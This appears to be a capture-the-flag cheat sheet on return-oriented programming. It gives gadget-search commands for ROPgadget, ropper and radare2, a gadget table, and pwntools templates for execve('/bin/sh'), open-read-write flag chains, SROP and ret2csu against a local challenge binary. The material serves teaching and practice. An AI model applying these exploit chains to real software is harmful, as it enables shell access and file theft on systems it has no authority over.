# NX/DEP: stack not executable → can't run shellcode # ROP: chain existing code snippets (gadgets) ending in ret # Each gadget does a tiny operation, then ret pops next addr # Stack layout for ROP chain: # [padding] ← overflow to here # [gadget1_addr] ← ret address → jumps here # [value_for_gadget1]← data popped by gadget1 # [gadget2_addr] ← gadget1's ret jumps here # [value_for_gadget2] # [function_addr] ← final call # x86-64 calling convention: # arg1=rdi arg2=rsi arg3=rdx arg4=rcx arg5=r8 arg6=r9 # → need: pop rdi; ret to set arg1 # → need: pop rsi; ret to set arg2 etc.
# x86-64 ABI: RSP must be 16-byte aligned before CALL # If system() crashes: likely misalignment # Fix: insert a bare 'ret' gadget before system() # Check alignment in GDB: # p $rsp & 0xf → should be 0x0 at CALL point python3 -c " from pwn import * elf = ELF('./challenge') rop = ROP(elf) ret = rop.find_gadget(['ret'])[0] payload = b'A' * offset payload += p64(ret) # alignment fix payload += p64(win_addr) " # Rule of thumb: # odd number of 8-byte items after padding → add ret # even number → probably fine
# Install pip install ROPgadget # Find all gadgets ROPgadget --binary ./challenge ROPgadget --binary ./libc.so.6 # Search for specific gadget ROPgadget --binary ./challenge --rop | grep "pop rdi" ROPgadget --binary ./challenge | grep "pop rdi ; ret" ROPgadget --binary ./challenge | grep "pop rsi" ROPgadget --binary ./challenge | grep ": ret$" # bare ret ROPgadget --binary ./challenge | grep "syscall" ROPgadget --binary ./challenge | grep "jmp rsp" # ret2stack # Search specific string pattern ROPgadget --binary ./challenge --string "/bin/sh" ROPgadget --binary ./libc.so.6 --string "/bin/sh"
# Specify architecture ROPgadget --binary ./arm_bin --arch ARM ROPgadget --binary ./bin --arch x86 # 32-bit ROPgadget --binary ./bin --arch x86-64 # 64-bit # Avoid bad bytes in addresses ROPgadget --binary ./challenge --badbytes "000a0d" # Limit gadget depth (default 10 instructions) ROPgadget --binary ./challenge --depth 5 # Auto-generate ROP chain (basic) ROPgadget --binary ./challenge --ropchain # With specific base address (PIE) ROPgadget --binary ./challenge --offset 0x400000 # Output to file ROPgadget --binary ./challenge > gadgets.txt # Multiple binaries ROPgadget --binary ./challenge --binary ./libc.so.6
# Install pip install ropper # Interactive mode ropper # Direct search ropper -f ./challenge ropper -f ./challenge --search "pop rdi" ropper -f ./challenge --search "% rdi" # regex ropper -f ./challenge --search "pop rdi; ret" ropper -f ./libc.so.6 --search "pop rdx" # Show only clean gadgets (short, useful) ropper -f ./challenge --type rop ropper -f ./challenge --type jop # JOP gadgets ropper -f ./challenge --type sys # syscall gadgets # Avoid bad bytes ropper -f ./challenge --badbytes "\\x00\\x0a" # String search ropper -f ./libc.so.6 --string "/bin/sh"
# Start interactive ropper # Inside ropper shell: file ./challenge # load binary file ./libc.so.6 # add libc search pop rdi # search gadget search % rdi # regex search search /bin/sh # string search stack # stack pivot gadgets imagebase 0x400000 # set base (PIE) ropchain execve # auto-generate execve chain quit # Useful ropper searches: # search pop rdi; ret # search mov rdi, rax; ret # search xchg rsp, rax; ret (stack pivot) # search leave; ret (stack pivot)
# Inside r2: /R pop rdi # search for gadget /R ret # bare ret /R syscall # syscall /R jmp rsp # JMP RSP (ret2stack) /R/ pop rdi; ret # exact multi-gadget /R/ xchg rsp, rax; ret # stack pivot # Output includes address — use directly # r2pipe batch gadget extract python3 -c " import r2pipe, re r = r2pipe.open('./challenge', flags=['-A']) out = r.cmd('/R pop rdi') for line in out.splitlines(): if 'pop rdi' in line and 'ret' in line: addr = re.search(r'0x[0-9a-f]+', line) if addr: print(addr.group()) "
# Assemble instruction → hex bytes rasm2 -a x86 -b 64 "pop rdi; ret" # → 5fc3 rasm2 -a x86 -b 64 "xor rax, rax; syscall" rasm2 -a x86 -b 64 "push rsp; pop rdi; ret" # Disassemble bytes → instruction rasm2 -a x86 -b 64 -d "5fc3" # → pop rdi; ret rasm2 -a x86 -b 64 -d "0f05" # → syscall rasm2 -a x86 -b 64 -d "c3" # → ret # Find byte pattern in binary rabin2 -q ./challenge grep -oba $'\x5f\xc3' ./challenge # pop rdi; ret
| Purpose | Gadget | Bytes | Notes |
|---|---|---|---|
| Set arg1 (rdi) | pop rdi ; ret | 5f c3 | Most common, almost always present |
| Set arg2 (rsi) | pop rsi ; ret | 5e c3 | Or: pop rsi ; pop r15 ; ret |
| Set arg3 (rdx) | pop rdx ; ret | 5a c3 | Rare — check libc |
| Set rax (syscall nr) | pop rax ; ret | 58 c3 | For raw syscall chains |
| Stack align | ret | c3 | Use before system() if misaligned |
| Stack pivot | xchg rsp, rax ; ret | 48 94 c3 | Move stack to controlled buffer |
| Stack pivot | leave ; ret | c9 c3 | mov rsp, rbp ; pop rbp ; ret |
| Syscall | syscall ; ret | 0f 05 c3 | For SROP or raw syscall |
| Write memory | mov [rdi], rsi ; ret | varies | Write arbitrary value to address |
| JMP RSP | jmp rsp | ff e4 | Execute shellcode on stack (no NX) |
| Zero rdx | xor rdx, rdx ; ret | 48 31 d2 c3 | Clear third arg |
# syscall: rax=59, rdi=/bin/sh ptr, rsi=0, rdx=0 python3 -c " from pwn import * elf = ELF('./challenge') libc = ELF('./libc.so.6') rop = ROP(elf) pop_rax = rop.find_gadget(['pop rax', 'ret'])[0] pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0] xor_rdx = rop.find_gadget(['xor rdx', 'rdx', 'ret'])[0] syscall = rop.find_gadget(['syscall', 'ret'])[0] binsh = next(libc.search(b'/bin/sh')) chain = p64(pop_rdi) + p64(binsh) chain += p64(pop_rsi) + p64(0) chain += p64(xor_rdx) # rdx = 0 chain += p64(pop_rax) + p64(59) # execve syscall nr chain += p64(syscall) "
# Open flag file, read into buf, write to stdout # Needed when execve is blocked (seccomp) python3 -c " from pwn import * elf = ELF('./challenge') rop = ROP(elf) pop_rax = rop.find_gadget(['pop rax','ret'])[0] pop_rdi = rop.find_gadget(['pop rdi','ret'])[0] pop_rsi = rop.find_gadget(['pop rsi','ret'])[0] pop_rdx = rop.find_gadget(['pop rdx','ret'])[0] syscall = rop.find_gadget(['syscall','ret'])[0] flag_buf = 0x404200 # writable memory for flag # open('flag', 0, 0) → rax=2 chain = p64(pop_rdi) + p64(flag_buf) # filename chain += p64(pop_rsi) + p64(0) # O_RDONLY chain += p64(pop_rdx) + p64(0) chain += p64(pop_rax) + p64(2) # open chain += p64(syscall) # read(fd, buf, 100) → rax=0; fd=3 usually chain += p64(pop_rax) + p64(0) # read chain += p64(pop_rdi) + p64(3) # fd chain += p64(pop_rsi) + p64(flag_buf+0x100) chain += p64(pop_rdx) + p64(100) chain += p64(syscall) # write(1, buf, 100) → rax=1 chain += p64(pop_rax) + p64(1) # write chain += p64(pop_rdi) + p64(1) # stdout chain += p64(syscall) "
# sigreturn restores full CPU context from stack # Fake a sigreturn frame → set ALL registers at once # Only need: syscall gadget + pop rax gadget # Useful when: # - Very few gadgets available # - Need to set rdx (hard to find) # - Static binary with minimal gadgets # pwntools SigreturnFrame python3 -c " from pwn import * context(arch='amd64', os='linux') pop_rax = 0x401234 syscall = 0x401236 frame = SigreturnFrame() frame.rax = 59 # execve frame.rdi = 0x404200 # /bin/sh address frame.rsi = 0 frame.rdx = 0 frame.rip = syscall # where to jump after sigreturn payload = b'A' * offset payload += p64(pop_rax) + p64(15) # sigreturn syscall nr payload += p64(syscall) payload += bytes(frame) # fake sigreturn frame "
# __libc_csu_init contains useful gadgets # gadget1: pop rbx; pop rbp; pop r12; pop r13; # pop r14; pop r15; ret # gadget2: mov rdx, r13; mov rsi, r14; # mov edi, r15d; call [r12+rbx*8] # Use to set rdx (hard gadget) via r13 python3 -c " from pwn import * elf = ELF('./challenge') # Find gadgets in __libc_csu_init csu_init = elf.sym['__libc_csu_init'] # gadget1 ~ csu_init + 0x4a (varies) # gadget2 ~ csu_init + 0x40 # Set: rdx=val, rsi=val2, call target payload = flat( gadget1, # pop r13-r15, rbx, rbp 0, # rbx = 0 1, # rbp = 1 got_target, # r12 = &function_ptr rdx_val, # r13 → rdx rsi_val, # r14 → rsi edi_val, # r15 → edi gadget2 # call [r12+0] ) "
ROPgadget --binary ./elf | grep "pop rdi"
② ROPgadget --binary ./libc.so.6 | grep "pop rdx" (for rdx)
③ ROPgadget --binary ./elf | grep ": ret$" (stack align)
④ ROPgadget --binary ./libc.so.6 --string "/bin/sh"
⑤ ropper -f ./elf --search "syscall" for ORW chains
⑥ If no rdx gadget → ret2csu or SROP